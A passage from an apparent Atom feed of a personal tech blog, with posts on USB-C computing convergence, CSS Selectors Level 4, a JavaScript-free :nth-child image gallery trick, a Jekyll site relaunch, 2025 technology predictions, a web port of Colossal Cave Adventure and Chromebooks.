<p><a class="image floatright" href="https://grack.com/assets/2015/01/ara/usb-c.jpg"><img src="https://grack.com/_thumbs/c85153c6db8f0e44e65ffbd9c509ced4-600-600" align="right" width="200"></a><a href="http://www.cnet.com/news/usb-type-c-one-cable-to-connect-them-all/">USB 3.1 and the type-C cable</a> give us the ability to reliably connect a device to external components – even those requiring high bandwidth. By plugging in a single cable, you’ll have access to <a href="http://www.arrowdevices.com/blog/usb-31-vs-usb-30-technical-comparison/">over 10 Gb/s</a> of bandwidth for transmitting USB data. In addition, the type-C cable can be used in <a href="http://www.anandtech.com/show/8558/displayport-alternate-mode-for-usb-typec-announced">“alternate modes” like DisplayPort</a> for pushing video outside of the USB protocol.</p>

<p>What USB-C will enable is the ultimate computing convergence. When you’re at home or work and need to use the “big” screen, along with keyboard and mouse, you’ll plug into a desktop dock. <a class="image floatright" href="https://grack.com/assets/2015/01/ara/belkin.png"><img src="https://grack.com/_thumbs/170967ea9dfe149a005419ba475859a8-600-600" align="right" width="200"></a>This is already something happening for MacBooks: you can plug a single Thunderbolt cable into a dock and get access to a wide variety of ports.</p>

<p>If you need a larger experience, but don’t want to be tied to a desk, the laptop dock will be your friend. Motorola’s Atrix was the first rough iteration of this idea. It required both a USB micro and HDMI connection and it was tied to a single device. With the USB type-C connector, we will have the ability to plug a single cable into an supported device while getting video out and pushing power and keyboard/trackpad in.</p>

<p><a class="image standard" href="https://grack.com/assets/2015/01/ara/atrix.jpg"><img src="https://grack.com/_thumbs/7efb21d09b3b92155d41661550c8677e-600-600"></a></p>

<h1 id="the-future">The Future</h1>

<p>The era of the laptop and personal computer will eventually come to an end, but not until they allow developers and power users to do everything they can on high-end devices as easily on mobile devices. Before this can happen professionals of all sorts, the power users of the various platforms will need as much memory and processing power as they are currently using.</p>

<p>The type-C connector gets us part of the way there by moving graphics and input off your mobile device, but you’ll still be processing with whatever you can carry with you on your phone. While processor speeds will be improving the mobile space, it is likely that chips on larger boards will always be more powerful.</p>

<p>What we’ll see is the evolution of devices that can move computation from one place to another, in near-real-time. You’ll carry a modular smartphone on your person and have a more powerful version in desktop or laptop form. Plugging the device into the larger form factor will move your computation over to a more powerful CPU/GPU with significantly more RAM. You’ll bring your storage with you – the experience of computing will expand and contract depending on where you are and what you need.</p>

<p>We’re not far away from this right now. With applications running on JIT systems like Dalvik, the same code can be run on two different CPU types and the same techniques we use to juggle Javascript between interpreted and optimized states can transport an application between them.</p>

<p>Your pocket device will be the center of your digital life: a single mobile device when you’re on the go that can act as everything you need for work and play, an entertainment source and gaming console when you’re at home in front of your TV, the storage for your laptop when you need to work on the go, and the core of your desktop computing environment for the professionals who need high performance.</p>

<p><em>Thoughts?</em> Follow me on Twitter <a href="https://twitter.com/mmastrac">@mmastrac</a> and let me know.</p>

<p>Translations: <a href="http://softdroid.net/usb-and-modular-smartphones">Пост доступен на сайте softdroid.net</a>.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[What's new in CSS Selectors 4]]></title>
		<link href="https://grack.com/blog/2015/01/11/css-selectors-4/"/>
		<updated>2015-01-11T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2015/01/11/css-selectors-4</id>
		<content type="html"><![CDATA[<p><em>Please note that this article is written about an Editor’s Draft of a specification as of January 2015, which means the information may change without notice</em></p>

<p><a href="http://dev.w3.org/csswg/selectors-4/">CSS Selectors Level 4</a> is the next iteration of the CSS selector spec, the last version of which was <a href="http://www.w3.org/TR/css3-selectors/">made a recommendation in 2011</a> after being a working draft for a number of years.</p>

<p>So, what’s new?</p>

<h1 id="selector-profiles">Selector Profiles</h1>

<p>CSS selectors are now categorized into two groups: <em>fast</em> and <em>complete</em>. <em>Fast</em> selectors are those selectors appropriate for use in a dynamic CSS engine. <em>Complete</em> selectors are appropriate for use in cases where being as fast as possible isn’t necessarily a problem, <a href="https://developer.mozilla.org/en-US/docs/Web/API/document.querySelector"><code class="language-text highlighter-rouge">document.querySelector</code></a>, for instance.</p>

<blockquote>
  <p>Selectors are used in many different contexts, with wildly varying performance characteristics. Some powerful selectors are unfortunately too slow to realistically include in the more performance-sensitive contexts. To accommodate this, two profiles of the Selectors spec are defined <a href="http://dev.w3.org/csswg/selectors-4/#profiles">[ref]</a>.</p>
</blockquote>

<h1 id="has">:has</h1>

<p><code class="language-text highlighter-rouge">:has</code> is the most interesting part of CSS Selectors 4, but it comes with an important caveat described below. What it allows you to do is change the subject of the selector – i.e., the element that will actually be styled – while continuing to match elements that appear later in document order.</p>

<p>This opens up a great deal of new ways to match content. For instance, matching sections with a header:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Any section that has a header element
section:has(h1, h2, h3, h4, h5, h6)
</code></pre></div></div>

<p>Or a developer can match all paragraphs that contain nothing but any number of images:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Match a paragraph that does not have anything that is not an image
p
  :has(img)             // has an image
  :not(:has(:not(img))) // does not have anything not an image
</code></pre></div></div>

<p>Even matching an element that has a specific number of children (in this case, five):</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Sidebar with five children
div.sidebar
    :has(*:nth-child(5))       // Has a fifth child
    :not(:has(*:nth-child(6))) // But not a sixth child
</code></pre></div></div>

<p>Caveat: at this time the <code class="language-text highlighter-rouge">:has</code> selector is not considered <em>fast</em>, which means that it may not be available for use in stylesheets. As nobody has implemented this selector yet, its performance characteristics are still an open question. If browser vendors can make it fast, it may be available for general styling as well.</p>

<p>In <a href="http://www.w3.org/TR/2013/WD-selectors4-20130502/#subject">previous versions</a> of the specification this was indicated using an exclamation mark (<code class="language-text highlighter-rouge">!</code>) next to the subject – that syntax is now gone.</p>

<h1 id="matches">:matches</h1>

<p><code class="language-text highlighter-rouge">:matches</code> is a standardization of <code class="language-text highlighter-rouge">:moz-any</code> and <code class="language-text highlighter-rouge">:webkit-any</code> that have <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/:any">existed with browser prefixes</a> for some time. This allows a stylesheet author to collapse duplicate rule paths.</p>

<p>This will be useful for collapsing generated Cartesian-product-esque SCSS/SASS output like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  body &gt; .layout &gt; .body &gt; .content .post p a.image.standard:first-child:nth-last-child(4) ~ a.image.standard, 
  body &gt; .layout &gt; .body &gt; .content .post p a.image.standard:first-child:nth-last-child(4), 
  body &gt; .layout &gt; .body &gt; .content .post li a.image.standard:first-child:nth-last-child(4) ~ a.image.standard, 
  body &gt; .layout &gt; .body &gt; .content .post li a.image.standard:first-child:nth-last-child(4), 
  body &gt; .layout &gt; .body &gt; .content .page p a.image.standard:first-child:nth-last-child(4) ~ a.image.standard, 
  body &gt; .layout &gt; .body &gt; .content .page p a.image.standard:first-child:nth-last-child(4), 
  body &gt; .layout &gt; .body &gt; .content .page li a.image.standard:first-child:nth-last-child(4) ~ a.image.standard, 
  body &gt; .layout &gt; .body &gt; .content .page li a.image.standard:first-child:nth-last-child(4) {
       ....
  }
</code></pre></div></div>

<p>into the slightly more manageable:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  body &gt; .layout &gt; .body &gt; .content 
    :matches(.post, .page) 
    :matches(p, li) 
    :matches(a.image.standard:first-child:nth-last-child(4), 
             a.image.standard:first-child:nth-last-child(4) ~ a.image.standard), 
       ....
  }
</code></pre></div></div>

<p>The Mozilla reference page above lists some caveats about performance. As this selector makes it out into a standard, we will hopefully see performance work on this to make it leaner.</p>

<h1 id="nth-childanb-of-s">:nth-child(An+B [of S])</h1>

<p>While <code class="language-text highlighter-rouge">:nth-of-type</code> has existed <a href="http://www.w3.org/TR/2001/CR-css3-selectors-20011113/">since the turn of the millennium</a>, CSS Selectors Level 4 is adding the ability to filter based on a selector:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>div :nth-child(2 of .widget)
</code></pre></div></div>

<p>The selector <code class="language-text highlighter-rouge">S</code> is used for determining the index and it is independent of the selector to the left of the pseudo-class. As noted in the specification, if you know the type of the element ahead of time the <code class="language-text highlighter-rouge">:nth-of-type</code> selector can be converted into <code class="language-text highlighter-rouge">:nth-child(... of S)</code> like so:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>img:nth-of-type(2) =&gt; :nth-child(2 of img)
</code></pre></div></div>

<p>The difference between this selector and the <code class="language-text highlighter-rouge">:nth-of-type</code> selector is subtle but important. For <code class="language-text highlighter-rouge">:nth-of-type</code>, each element –whether or not you have applied a selector to it – has an implicit index for itself amongst its siblings with the same tag name.  The selector in the <code class="language-text highlighter-rouge">:nth-child(n of S)</code> expression creates a new counter each time you use a new selector.</p>

<p>There’s potential for bugs with this new selector. Since the selector inside the <code class="language-text highlighter-rouge">:nth-child</code> pseudo-class is independent of the selector to the left of it, you can accidentally omit your subject if you specify a selector to the left that isn’t a superset of the selector inside of <code class="language-text highlighter-rouge">:nth-child</code>. For example:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>tr:nth-child(2n of [disabled])
</code></pre></div></div>

<p>might not work as you expect if another, non-<code class="language-text highlighter-rouge">&lt;tr&gt;</code> element has the <code class="language-text highlighter-rouge">disabled</code> attribute.</p>

<p>In previous versions of the specification this was the <code class="language-text highlighter-rouge">:nth-match</code> selector.</p>

<h1 id="not">:not()</h1>

<p>While you might have been using <code class="language-text highlighter-rouge">:not</code> for some time, you’ll now be able to pass multiple arguments to it to save some bytes and typing:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Equivalent to:
//    :not(h1):not(h2):not(h3)...
:not(h1, h2, h3, h4, h5, h6)
</code></pre></div></div>

<h1 id="descendant-combinator-">Descendant combinator (&gt;&gt;)</h1>

<p>The <a href="http://dev.w3.org/csswg/selectors-4/#descendant-combinators">descendant combinator</a> has existed in CSS from the beginning as a space ( ), but now there’s an explicit version of it:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Equivalent to:
//    p img { ... }
p &gt;&gt; img { ... }
</code></pre></div></div>

<p>The reasoning for this is to provide a bridge between the direct descendant (<code class="language-text highlighter-rouge">&gt;</code>), and the shadow DOM (<code class="language-text highlighter-rouge">&gt;&gt;&gt;</code>) operator.</p>

<h1 id="column-combinator--and-nth-column">Column combinator (||) and :nth-column</h1>

<p>CSS Selectors 4 adds column operations that will allow stylesheet developers to more easily style individual columns in a table. The current approach to table styling requires using <code class="language-text highlighter-rouge">:nth-child</code>, which does not always match up with table columns when using <code class="language-text highlighter-rouge">colspan</code> attributes.</p>

<p>By using the new column combinator (<code class="language-text highlighter-rouge">||</code>) you can now style table cells that are in the same column as a given <code class="language-text highlighter-rouge">&lt;col&gt;</code> element:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// The following example makes cells C, E, and G yellow. 
// (example taken from the CSS Selectors 4 specification)
col.selected || td {
  background: yellow;
  color: white;
  font-weight: bold;
}

&lt;table&gt;
  &lt;col span="2"&gt;
  &lt;col class="selected"&gt;
  &lt;tr&gt;&lt;td&gt;A &lt;td&gt;B &lt;td&gt;C
  &lt;tr&gt;&lt;td colspan="2"&gt;D &lt;td&gt;E
  &lt;tr&gt;&lt;td&gt;F &lt;td colspan="2"&gt;G
&lt;/table&gt;
</code></pre></div></div>

<p>Alternatively, a stylesheet author may use <code class="language-text highlighter-rouge">:nth-column</code> and <code class="language-text highlighter-rouge">:nth-last-column</code> to style cells.</p>

<p>In either case, if a cell spans multiple columns it will match a selector for any of those columns.</p>

<h1 id="placeholder-shown">:placeholder-shown</h1>

<p>One small addition to the selector language is <code class="language-text highlighter-rouge">:placeholder-shown</code>. This matches an input element if and only if the <code class="language-text highlighter-rouge">placeholder</code> attribute text is visible.</p>

<h1 id="any-link">:any-link</h1>

<p>The <code class="language-text highlighter-rouge">:any-link</code> is another small selector addition. It is defined as matching anything that <em>either</em> <code class="language-text highlighter-rouge">:link</code> or <code class="language-text highlighter-rouge">:visited</code> would match.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Equivalent to:
//    a:link, a:visited { ... } 
a:any-link { ... }
</code></pre></div></div>

<h1 id="conclusions">Conclusions</h1>

<p>CSS Selectors 4 is still a work-in-progress, but there are already useful selectors that we’ve seen that will offer web developers new patterns and tools for styling. There are <a href="http://dev.w3.org/csswg/selectors-4/">other new selectors</a> in the specification that I haven’t discussed here for concepts like accessibility, validity checking and style scoping.</p>

<p>If you’d like to play around with these selectors, you’ll need to wait for browsers vendors to catch up, or use some of the earlier implementations. <code class="language-text highlighter-rouge">:matches</code> is available as <code class="language-text highlighter-rouge">:moz-any</code> and <code class="language-text highlighter-rouge">:webkit-any</code>, and WebKit nightlies have early support for <a href="http://lists.w3.org/Archives/Public/www-style/2014Oct/0106.html"><code class="language-text highlighter-rouge">:nth-child</code> selectors behind a flag</a>.</p>

<p>Since this is an editor’s draft, pseudo-class names may change without notice. Keep an eye on the <a href="http://dev.w3.org/csswg/selectors-4">specification</a> for more information.</p>

<p><em>Comments?</em> Follow me on Twitter <a href="https://twitter.com/mmastrac">@mmastrac</a> and let me know.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[(Ab)using CSS3's :nth-child selector to invent new ones]]></title>
		<link href="https://grack.com/blog/2015/01/09/abusing-css3-selectors/"/>
		<updated>2015-01-09T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2015/01/09/abusing-css3-selectors</id>
		<content type="html"><![CDATA[<p><em>If you find this interesting, read more about <a href="https://grack.com/blog/2015/01/11/css-selectors-4/">CSS Selectors Level 4</a> which will offer you even more tools for stylesheet development.</em></p>

<p>CSS3’s <code class="language-text highlighter-rouge">:nth-child</code> and <code class="language-text highlighter-rouge">:nth-last-child</code> selectors are powerful: not only can they replace <code class="language-text highlighter-rouge">:first-child</code> and <code class="language-text highlighter-rouge">:last-child</code>, but they can style more complex patterns like the first (or all but the first) three children, every fourth child, or combinations of the pattern “a*n+b”.</p>

<p>But did you know that you can do more interesting things with the selectors? For example, you can style the third element, but only when it’s one of five child (the virtual <code class="language-text highlighter-rouge">:nth-of-m-child</code> selector we’ll discuss below). Or that you can style all of the children of an element with <code class="language-text highlighter-rouge">m</code> children (another virtual selector we’ll call <code class="language-text highlighter-rouge">:family-of-m</code>).</p>

<p>You might ask why we’d want to do this – the particular use case that I had in mind was a Javascript-free, automatically-sizing image gallery that I could toss in the stylesheet for my Jekyll-based site and have it “just work” regardless of the number of images I threw at it.</p>

<p>Here’s an example of what it looks like (click <a href="https://grack.com/assets/2015/01/nth-child/image-count.html">here</a> to view it full-page). Note how the images automatically size to a regular grid without having to use Javascript:</p>

<iframe style="width: 100%; height: 400px;" src="https://grack.com/assets/2015/01/nth-child/image-count.html"></iframe>

<h1 id="nth-of-m-child">:nth-of-m-child</h1>

<p><em>Thanks to <a href="https://news.ycombinator.com/item?id=8863732">xantys</a> on HN for pointing me at much earlier work in this area <a href="http://lea.verou.me/2011/01/styling-children-based-on-their-number-with-css3/">here</a> and <a href="http://andr3.net/blog/post/142">here</a>.</em></p>

<p>The first virtual selector we’ll construct is something I call <code class="language-text highlighter-rouge">:nth-of-m-child</code>. This will allow us to style the nth child when it’s one of m children, and will be our building block for further work.</p>

<p>So, how do we get this selector? Easy: we combine <code class="language-text highlighter-rouge">:nth-child</code> and <code class="language-text highlighter-rouge">:nth-last-child</code> on a single element to select when the element to be styled is in the correct position from the start and end of the list of children. For example, we can style the third element, if and only if it’s one of five children:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>span:nth-child(3):nth-last-child(3) { ... }
</code></pre></div></div>

<p>Breaking that down: that’s the third child and the third-last child. Given ‘n’ and ‘m’, the general formula is <code class="language-text highlighter-rouge">:nth-child(n):nth-last-child(m+1-n)</code>.</p>

<p>Here’s an example of this in action (click <a href="https://grack.com/assets/2015/01/nth-child/nth-test.html">here</a> to view it full-page):</p>

<iframe style="width: 100%; height: 400px;" src="https://grack.com/assets/2015/01/nth-child/nth-test.html"></iframe>

<h1 id="family-of-m">:family-of-m</h1>

<p>Now that we have the ability to style n-of-m, we can expand that out to style all of the children where there are m of them directly underneath a parent node. The secret to this is using the CSS3 <code class="language-text highlighter-rouge">~</code> non-adjacent sibling selector which will continue matching elements across siblings. For example, the selector:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>img ~ span { ... }
</code></pre></div></div>

<p>will match a <code class="language-text highlighter-rouge">&lt;span&gt;</code> if and only if one of its previous siblings was an <code class="language-text highlighter-rouge">&lt;img&gt;</code> element regardless of the number of siblings between them. We’ll combine this selector with our <code class="language-text highlighter-rouge">:nth-of-m-child</code> pattern like so:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>span:nth-child(1):nth-last-child(5) ~ span { ... }
</code></pre></div></div>

<p>This pattern will match any adjacent siblings to the first element of five, ie: the second through the fifth of five. We can make it match the entire row by using a comma to match the first element as well.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>span:nth-child(1):nth-last-child(5), 
	span:nth-child(1):nth-last-child(5) ~ span { ... }
</code></pre></div></div>

<p>Here’s an example of this in action (click <a href="https://grack.com/assets/2015/01/nth-child/nth-family-test.html">here</a> to view it full-page):</p>

<iframe style="width: 100%; height: 400px;" src="https://grack.com/assets/2015/01/nth-child/nth-family-test.html"></iframe>

<h1 id="advanced-techniques">Advanced techniques</h1>

<p>Alright, now we have the tools in place for us to style images <a href="https://grack.com/assets/2015/01/nth-child/image-count.html">as seen in the example</a>.</p>

<p>The first grouping of one through four are simple applications of the technique. When we get to five we want to start using a pattern where the first line or two are larger pairs and the remainder of the images are in triplets. This pattern should repeat regardless of the number of images.</p>

<p>Here’s a commented example. Note that this might potentially be simplified using flexbox and wrapping, but that’s an exercise for the reader.</p>

<p>Let’s start with fifth, eighth, eleventh and the remainder of this pattern. Instead of using the <code class="language-text highlighter-rouge">:nth-child(1):nth-last-child(...)</code> as we did before, we’ll use <code class="language-text highlighter-rouge">:nth-child(1):nth-last-child(3n+5)</code>. This will match the first element of a grouping of 5, 8, 11, …:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/* First two are half-sized (99% / 2) */
img:first-child:nth-last-child(3n+5) ~ img, img:first-child:nth-last-child(3n+5) {
	max-width: 49.5%;
	margin-right: 1%;
}

/* Last n - 2 are (98% / 3) */
img:first-child:nth-last-child(3n+5) + img ~ img {
	max-width: 32.6%;
	margin-right: 1%;
}

/* But second, fifth, eighth, ... have no right margin */
img:first-child:nth-last-child(3n+5) ~ img:nth-child(3n+2) {
	margin-right: 0;
}
</code></pre></div></div>

<p>Six, nine, and twelve are much simpler.</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/* Six, nine, twelve, ... are all (98% / 3) */
img:first-child:nth-last-child(3n+6) ~ img, img:first-child:nth-last-child(3n+6) {
	max-width: 32.6%;
	margin-right: 1%;
}

/* Every third one of these has no right margin. */
img:first-child:nth-last-child(3n+6) ~ img:nth-child(3n) {
	margin-right: 0;
}
</code></pre></div></div>

<p>Seven, ten, thirteen, and the remainder of the pattern are similar to the 5/8/11 pattern:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/* First four are half-sized (99% / 2) */
img:first-child:nth-last-child(3n+7) ~ img, img:first-child:nth-last-child(3n+7) {
	max-width: 49.5%;
	margin-right: 1%;
}

/* Last n - 4 are (98% / 3) */
img:first-child:nth-last-child(3n+7) + img + img + img ~ img {
	max-width: 32.6%;
	margin-right: 1%;
}

/* The second and fourth, seventh, tenth, ... have no right margin */
img:first-child:nth-last-child(3n+7) + img, 
	img:first-child:nth-last-child(3n+7) ~ img:nth-child(3n+4) {
	margin-right: 0;
	outline: 1px solid red;
}
</code></pre></div></div>

<h1 id="conclusions-notes-and-further-work">Conclusions, notes, and further work</h1>

<p>We can do some really interesting things making using of <code class="language-text highlighter-rouge">:nth-child</code> and sibling selectors. The techniques in this post will also work for the related selectors <code class="language-text highlighter-rouge">:nth-of-type</code> and <code class="language-text highlighter-rouge">:nth-last-of-type</code>.</p>

<p>Browser performance doesn’t appear to be noticeably affected on mobile or desktop using this technique. If you plan on scaling this up it’s obviously something you’ll want to test.</p>

<p>If you were to combine this with flexbox and <a href="http://css-tricks.com/almanac/properties/f/flex-wrap/">flex-wrap</a> you might be able to simplify the example even further and might be able to handle images of different sizes more elegantly.</p>

<p>You also can also use this to create other interesting patterns, like matching only when the total number of children is even or odd, or other factor-based qualifiers.</p>

<p>I’d love to hear of any ideas or improvements you might have. Play around with <a href="http://jsfiddle.net/asmr1583/">the JSFiddle</a> here.</p>

<p>Thanks to <a href="https://www.webucator.com/">Webucator</a> for creating a video for this post as part of their <a href="https://www.webucator.com/webdesign/css.cfm?productTypeName=&amp;versionPageName=css3">CSS3 training</a> course series:</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/hBqshBv8Hes" frameborder="0" allowfullscreen=""></iframe>

<p><em>Comments?</em> Follow me on Twitter <a href="https://twitter.com/mmastrac">@mmastrac</a> and let me know.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Welcome to the new grack.com]]></title>
		<link href="https://grack.com/blog/2015/01/08/welcome-to-the-new-grack-com/"/>
		<updated>2015-01-08T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2015/01/08/welcome-to-the-new-grack-com</id>
		<content type="html"><![CDATA[<p>I’m now on my fifth – though I’m sure not my last – iteration of blog management, <a href="http://jekyllrb.com/">Jekyll</a>. It’s a slick static site generator and from what I can tell, <a href="https://www.staticgen.com/">the most popular</a>.</p>

<p>One of the benefits of a static site generation tool is that you can aggressively cache the content. For that I’ve thrown <a href="http://cloudflare.com/">Cloudflare</a> in front of everything and have it both caching and optimizing all of my assets.</p>

<p>As part of the re-launch I wanted to offer some basic site search. I looked into <a href="http://lunrjs.com/">a few options</a> for static search in pure Javascript, but the most convenient turned out to be <a href="http://swiftype.com/">Swiftype</a> which was not much more work than clicking a switch on Cloudflare’s app page.</p>

<p><a class="image standard" href="https://grack.com/assets/2015/01/swiftype.png"><img src="https://grack.com/_thumbs/de0d0ab8a1e1a9787fa47c7f76cc12a0-600-600"></a></p>

<p>While I was somewhat happy on <a href="https://wordpress.org">Wordpress</a>, my <a href="https://grack.com/blog/2010/03/14/a-decade-and-three-blogging-platforms-later/">biggest issue</a> with it was that everything lived in a database rather than source control, and that it required constant attention updating it for each release. I spent <a href="https://grack.com/blog/2009/04/11/yet-another-blog-engine/">nearly five years</a> on the platform, however, which puts it at the longest I’ve stayed on any one tool.</p>

<p>Obviously, publishing posts with static site generators isn’t quite as convenient. For that I’m making use of <a href="https://travis-ci.org/">Travis CI</a> and a private GitHub repo. It runs <a href="http://www.linklint.org/">linklint</a> over everything, then pushes it out to the static host via <code class="language-text highlighter-rouge">rsync</code>.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[The Next Decade: part 2]]></title>
		<link href="https://grack.com/blog/2014/12/06/the-next-decade-part-2/"/>
		<updated>2014-12-06T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2014/12/06/the-next-decade-part-2</id>
		<content type="html"><![CDATA[<p>Five years ago <a href="https://grack.com/blog/2010/01/03/the-next-decade/">I wrote a set of predictions about 2020</a>. In some ways I think I was too unambitious for the progress of technology: browser technology has probably already reached the levels I had expected for a decade later. Some of them look like they might be off-target, like the increase in storage capacity of mobile devices. We still have another five years to see how they all pan out.</p>

<p>I thought I’d take another swing at a set of predictions. This time I’m looking out towards 2025.</p>

<h3 id="manufacturing">Manufacturing</h3>

<p>3D printing is the next major transformative technology wave. In 2025 we’ll be seeing 3D printers in the homes of at least a quarter of North Americans. Home 3D printer quality in 2025 will be amazing. A consumer will be able to print in multiple colors and plastic/rubber-like materials, with a final print quality that will often rival that of mold-formed products.</p>

<p>There will be multiple marketplaces for things to print: some open-source ones that will contain basic shapes and designs, and a number of licensed repositories for printing designer items like toys and kitchenware from well-known names. There will also be a healthy 3D piracy community.</p>

<p>When you look around a room in 2014, a lot of what you see will be printed in the home or a rapid-manufacturing facility in 2025. 3D printing will eat the manufacturing lifecycle from the bottom up. Products where the first 100 might be built with rapid prototyping today will have the first 100,000 produced on-demand. Companies like IKEA will choose to print and cut their designs on-demand in warehouses rather than stocking parts built elsewhere.</p>

<p>Local distribution centers will replace overseas manufacturing almost completely. North America will import processed materials from China, India and Africa for use in the new local centers: plastics and rubbers, and metals with binder. The local manufacturing centers will use a combination of 3D printer, laser/plasma cutting and generic robot assembly to build everything from one-off orders to runs of thousands as needed.</p>

<p>To support rapid manufacturing at these levels, generic robotics will replace the manufacturing line of today. A generic robot will be able to be taught to do a task like a human does and will coordinate with other generic robots to build a product like a fixed line would do today. Generic robotics will also find itself at home in other fields currently employing humans doing repetitive tasks like food preparation, laundry and cleaning.</p>

<p>Amusingly 3D printers will be <em>displacing</em> regular document printers which will have mostly died out at that point. Paper will take much longer than 2025 to replace, but the majority of financial, legal and educational work will be entirely electronic. Electronic signatures will be commonplace and some form of e-signature using mobile devices and biometrics will likely be used to validate documents. Paper in the home will be well on its way out and even children will be coloring on electronic devices with a stylus rather than coloring books.</p>

<h3 id="home">Home</h3>

<p>In 2025 we’ll have maxed out our technologies for 2D display and audio. Screens on cheap devices will have the same effective DPI as paper and the pixel will be something very few people will see. Virtual reality won’t be pervasive yet, but it’ll be in a significant number of homes for entertainment purposes. There will be devices small enough for portable use.</p>

<p>The convergence of devices will continue, and will consume a number of devices for entertainment at home. The cable box and dedicated game consoles will be almost dead, replaced with streaming from personal devices Chromecast-style. TV will still be going strong and there will be advancements in display technology that will allow basic 3D technology without glasses using light-field manipulation.</p>

<h3 id="transport">Transport</h3>

<p>Vehicles will be radically transformed by advances in self-driving technology. While we still won’t have pervasive self-driving vehicles, there will be a large number of autonomous vehicles on the road. These will mainly replace long-haul trucking and transport, but some higher-end vehicles will be autonomous enough to allow individuals to safely commute to work or run errands hands-free.</p>

<p>Car ownership will be dramatically declining by 2025. With the ability to summon transport from an autonomous or human-driven vehicle at the tip of everyone’s fingertips, it won’t make sense for most people to own vehicles. High-end cars will continue to be a status symbol, but the low-end market will be decimated in the transition.</p>

<p>Electric vehicles will have captured around half of the market of vehicles sold, including everything from passenger cars to transport trucks. Fossil fuels and hydrogen will be included as “backup” options on some models, used only to increase range if needed by charging the batteries.</p>

<h3 id="energy">Energy</h3>

<p>With solar getting cheaper and more efficient year-by-year, we’ll see some changes in the way that energy is supplied to home. Neighborhood grids will replace nation-wide grids for home use. Dozens of houses will pool their solar power into a cooperative with battery storage that they’ll use for electricity, heating and charging of vehicles.</p>

<p>More nuclear power will come online in the 2020’s, mainly driven by new reactor designs that produce very little waste and advances in fail-safe technology. Thorium-based reactors will be just starting to appear and safe designs like the CANDU plant will become significantly more popular.</p>

<p>Much of the new power brought online will be fueling desalinization and water-reclamation facilities to stabilize the fresh water supply. Fresh water will dominate the news cycle as energy does today.</p>

<h3 id="conclusion">Conclusion</h3>

<p>With all of the changes described above, North America will see a significant effect on the number of low-end jobs. Manufacturing, food and transport industries will be radically changed, jobs moving from many low-skilled positions to a few high-end positions.</p>

<p>This will require thought on how we can re-architect the economy. I think we’ll see concepts like minimum guaranteed income replacing welfare and minimum wage. This is much more difficult to predict than the pace of technology, but we’ll have to do something to ensure that everyone is able to live in the new world we’re building.</p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[Colossal Cave Adventure]]></title>
		<link href="https://grack.com/blog/2012/08/13/colossal-cave-adventure/"/>
		<updated>2012-08-13T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2012/08/13/colossal-cave-adventure</id>
		<content type="html"><![CDATA[<p>This is a fun little project I’ve been working on: a port of the Colossal Cave Adventure to the web. The monitor itself is nearly 100% CSS (with the exception of one image for the masking tape/signature and the diffuse reflection of the background).</p>

<p>The interpreter is all Java and compiled to JS via GWT. It can save its state to localStorage right now when you save in-game (although I’d like to automatically persist the state of the engine continuously before I release it).</p>

<p>And, FWIW, the Colossal Cave Adventure is a surprisingly hard game. ﻿</p>

<p><strong>UPDATE</strong>: Source <a href="https://github.com/mmastrac/adventure">is on github</a> and you can <a href="https://grack.com/demos/adventure">play it here</a>.</p>

<p><a class="image standard" href="https://grack.com/assets/2012/08/adventure.jpg"><img src="https://grack.com/_thumbs/01674d09b954a1f32138cf430b9893fd-600-600"></a></p>
]]></content>
	</entry>
	
	
	
	<entry>
		<title type="html"><![CDATA[On Google Chromebooks]]></title>
		<link href="https://grack.com/blog/2012/05/30/on-google-chromebooks/"/>
		<updated>2012-05-30T00:00:00+00:00</updated>
		<id>https://grack.com/blog/2012/05/30/on-google-chromebooks</id>
		<content type="html"><![CDATA[<p><em>This is a follow-up to <a href="https://grack.com/blog/2011/02/05/a-week-with-a-chromeos-netbook/">my week with a ChromeOS netbook</a> post.</em></p>

<p><a class="image floatright" href="https://grack.com/assets/2011/02/cr48box2.jpg"><img src="https://grack.com/_thumbs/2a8ae04b3d2d7668dee038b37e6b3c8a-600-600" align="right" width="200"></a>The Google Chromebook is an interesting product to watch. I’ve been a fan of and using them since the early Cr-48 days. In fact, two Chromebook laptops were in service in our household until just a few weeks ago when the Samsung Chromebook broke (although I hope to repair it soon).</p>

<p>These laptops sit next to our couch in a stack as a set of floater laptops we use for random surfing. If any of us are just looking for a quick bite of information, we generally pull out the Chromebook rather than walking over to the Macbook that sits on our kitchen counter. The Chromebook is also great for our son to use when building LEGO from PDF instructions.</p>

